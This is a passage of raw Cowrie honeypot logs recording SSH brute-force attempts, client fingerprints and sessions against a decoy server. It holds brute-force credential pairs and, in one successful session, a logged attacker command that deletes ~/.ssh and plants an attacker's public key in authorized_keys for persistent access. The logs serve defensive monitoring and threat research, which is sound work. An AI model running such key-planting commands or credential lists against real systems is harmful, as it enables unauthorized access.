-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:39.591698Z","src_ip":"141.11.88.14","session":"ceb562ddd7d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@2025#","message":"login attempt [root/Admin@2025#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:39.998249Z","src_ip":"27.71.230.31","session":"29f0535f06b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:40.676102Z","src_ip":"141.11.88.14","session":"ceb562ddd7d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:41.861362Z","src_ip":"141.11.88.14","session":"ceb562ddd7d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:42.711812Z","src_ip":"27.71.230.31","session":"29f0535f06b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59200,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b07d96c2b0f","protocol":"ssh","message":"New connection: 141.11.88.14:59200 (10.17.0.5:22) [session: 4b07d96c2b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:46.086498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:46.404111Z","src_ip":"141.11.88.14","session":"4b07d96c2b0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:46.458974Z","src_ip":"141.11.88.14","session":"4b07d96c2b0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234","message":"login attempt [test/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:48.985224Z","src_ip":"141.11.88.14","session":"4b07d96c2b0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:50.582542Z","src_ip":"141.11.88.14","session":"4b07d96c2b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":23674,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bc4937f65df","protocol":"ssh","message":"New connection: 141.11.88.14:23674 (10.17.0.5:22) [session: 6bc4937f65df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:51.629846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:52.204613Z","src_ip":"141.11.88.14","session":"6bc4937f65df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:52.210211Z","src_ip":"141.11.88.14","session":"6bc4937f65df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":39194,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bfcc67c3f13","protocol":"ssh","message":"New connection: 103.143.231.24:39194 (10.17.0.5:22) [session: 4bfcc67c3f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:53.866681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:53.871074Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:53.941108Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam2023","message":"login attempt [steam/steam2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.275012Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.462114Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.467531Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.473888Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.482125Z","src_ip":"141.11.88.14","session":"6bc4937f65df","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.620311Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.746800Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.750169Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.826844Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.831479Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":39200,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f9d84004545","protocol":"ssh","message":"New connection: 103.143.231.24:39200 (10.17.0.5:22) [session: 5f9d84004545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.893640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.898637Z","src_ip":"103.143.231.24","session":"5f9d84004545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:54.969940Z","src_ip":"103.143.231.24","session":"5f9d84004545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:55.311988Z","src_ip":"103.143.231.24","session":"5f9d84004545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:55.597756Z","src_ip":"141.11.88.14","session":"6bc4937f65df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:56.390666Z","src_ip":"103.143.231.24","session":"5f9d84004545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":39216,"dst_ip":"10.17.0.5","dst_port":22,"session":"2269737c12cc","protocol":"ssh","message":"New connection: 103.143.231.24:39216 (10.17.0.5:22) [session: 2269737c12cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:56.457696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:56.467008Z","src_ip":"103.143.231.24","session":"2269737c12cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:56.541302Z","src_ip":"103.143.231.24","session":"2269737c12cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:56.859311Z","src_ip":"103.143.231.24","session":"2269737c12cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:56.949497Z","src_ip":"103.143.231.24","session":"4bfcc67c3f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:56.961771Z","src_ip":"103.143.231.24","session":"2269737c12cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38864,"dst_ip":"10.17.0.5","dst_port":22,"session":"96b77aaf6cc2","protocol":"ssh","message":"New connection: 141.11.88.14:38864 (10.17.0.5:22) [session: 96b77aaf6cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:59.549068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:59.623647Z","src_ip":"141.11.88.14","session":"96b77aaf6cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:34:59.913182Z","src_ip":"141.11.88.14","session":"96b77aaf6cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nominatim","password":"1234","message":"login attempt [nominatim/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:00.487374Z","src_ip":"141.11.88.14","session":"96b77aaf6cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:01.684634Z","src_ip":"141.11.88.14","session":"96b77aaf6cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.31942558288574,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:01.779681Z","src_ip":"69.6.249.0","session":"b9522d79fbc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38886,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dc005009987","protocol":"ssh","message":"New connection: 141.11.88.14:38886 (10.17.0.5:22) [session: 6dc005009987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:06.446924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:35:06.588260Z","src_ip":"141.11.88.14","session":"6dc005009987","protocol":"ssh"}
